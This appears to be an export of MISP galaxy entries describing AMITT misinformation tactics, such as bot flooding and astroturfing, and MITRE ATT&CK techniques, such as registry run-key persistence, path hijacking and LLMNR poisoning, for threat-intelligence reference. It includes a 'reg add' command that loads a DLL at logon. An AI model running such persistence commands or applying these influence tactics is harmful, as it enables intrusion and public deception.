<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md</a>

## Flooding

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to acheive this effect.

Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi's death.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Flooding"*

Table 2880. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md</a>

## Cheerleading domestic social media ops

Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cheerleading domestic social media ops"*

Table 2881. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0050.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0050.md</a>

## Fabricate social media comment

Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Fabricate social media comment"*

Table 2882. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md</a>

## Tertiary sites amplify news

Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.

Examples of tertiary sites include Russia Insider, The Duran, geopolitica.ru, Mint Press News, Oriental Review, globalresearch.ca.

Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.

Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"*

Table 2883. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md</a>

## Twitter trolls amplify and manipulate

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it's easier to amplify existing content than create new/original content. Trolls operate where ever there's a socially divisive issue (issues that can/are be politicized) e.g. BlackLivesMatter or MeToo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter trolls amplify and manipulate"*

Table 2884. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0053.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0053.md</a>

## Twitter bots amplify

Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019) #TrudeauMustGo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter bots amplify"*

Table 2885. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0054.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0054.md</a>

## Use hashtag

Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use hashtag"*

Table 2886. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0055.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0055.md</a>

## Dedicated channels disseminate information pollution

Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"*

## Organise remote rallies and events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and activities into the public space. (Example) Mueller's report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election

The tag is: *misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"*

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudulent Apps Stolen Dev Credentials)

# Linux and Mac File and Directory Permissions Modification - T1222.002

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform's permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: `chown` (short for change owner), and `chmod` (short for change mode).

Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [.bash\_profile and .bashrc](<https://attack.mitre.org/techniques/T1546/004>) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](<https://attack.mitre.org/techniques/T1574>).

# Deliver Malicious App via Authorized App Store - T1475

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.

App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:

- [Download New Code at Runtime](<https://attack.mitre.org/techniques/T1407>)
- [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1406>)

Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)

Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)

Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)

## Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001

Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.

Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).

## Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the possession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

# Registry Run Keys / Startup Folder - T1547.001

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is `C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. The startup folder path for all users is `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`.

The following run keys are created by default on Windows systems:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"` (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`

The following Registry keys can control automatic startup of services during boot:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices`

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` and `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` subkeys can automatically launch programs.

Programs listed in the load value of the registry key `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows` run when any user logs on.

By default, the multistring `BootExecute` value of the registry key `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` is set to `autocheck autochk *`. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](<https://attack.mitre.org/techniques/T1036>) to make the Registry entries look as if they are associated with legitimate programs.

## Compromise Software Dependencies and Development Tools - T1195.001

Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001"*

## Windows File and Directory Permissions Modification - T1222.001

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLS).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLS identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>), [Boot or Logon Initialization Scripts](<https://attack.mitre.org/techniques/T1037>), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](<https://attack.mitre.org/techniques/T1574>).

## Path Interception by PATH Environment Variable - T1574.007

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using `cmd.exe` or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `%SystemRoot%\system32` (e.g., `C:\Windows\system32`), a program may be placed in the preceding directory that is named the same as a Windows program (such as `cmd`, `PowerShell`, or `Python`), which will be executed when that command is executed from a script or command-line.

For example, if `C:\example path` precedes `C:\Windows\system32` is in the PATH environment variable, a program that is named `net.exe` and placed in `C:\example`

`path` will be called instead of the Windows system "net" when "net" is executed from the command-line.

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007"*

## Path Interception by Search Order Hijacking - T1574.008

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001>), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `net user`. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `cmd.exe /C net user` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001>).

## Registry Run Keys / Startup Folder - T1060

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems: \*

- <code>HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> \*
- <code>HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> \*
- <code>HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> \*
- <code>HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> \*

The

<code>HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence: \*

- <code>HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> \*
- <code>HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> \*
- <code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> \*
- <code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> \*

The following Registry keys can control automatic startup of services during boot: \*

- <code>HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> \*
- <code>HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> \*
- <code>HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> \*
- <code>HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code> \*

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: \*

```
<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</
code>
```

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` and `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` subkeys can automatically launch programs.

Programs listed in the load value of the registry key `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows` run when any user logs on.

By default, the multistring BootExecute value of the registry key `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` is set to autocheck autochk \*. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](<https://attack.mitre.org/techniques/T1036>) to make the Registry entries look as if they are associated with legitimate programs.

## Exploit SS7 to Redirect Phone Calls/SMS - T1449

An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS)

to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).

## Component Object Model and Distributed COM - T1175

**This technique has been deprecated. Please use [Distributed Component Object Model](<https://attack.mitre.org/techniques/T1021/003>) and [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>).**

Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral

movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](<https://attack.mitre.org/techniques/T1173>) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

## Modify OS Kernel or Boot Partition - T1398

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.

Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.

If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398"*

## Exploit via Charging Station or PC - T1458

If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).

Previous demonstrations have included:

- Injecting malicious applications into iOS devices(Citation: Lau-Mactans).
- Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).
- Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).

Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458"*

## Deliver Malicious App via Other Means - T1476

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.

Delivery methods for the malicious application include:

- [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>) - Including the mobile app package as an attachment to an email message.
- [Spearphishing Link](<https://attack.mitre.org/techniques/T1192>) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
- Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)

Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)

## Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - T1048.003

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

## LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](<https://attack.mitre.org/techniques/T1040>) and crack the hashes offline through [Brute Force](<https://attack.mitre.org/techniques/T1110>) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](<https://attack.mitre.org/software/S0174>). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

## Match Legitimate Name or Location - T1036.005

Adversaries may match or approximate the name or location of legitimate files when naming/placing their files. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

The tag is: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"*

## Disable or Modify System Firewall - T1562.004

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"*

*Table 2966. Table References*

Links

<https://attack.mitre.org/techniques/T1562/004>

## Disable or Modify Cloud Firewall - T1562.007

Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](<https://attack.mitre.org/techniques/T1562/004>).

Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)

Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007"*

## SIP and Trust Provider Hijacking - T1553.003

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

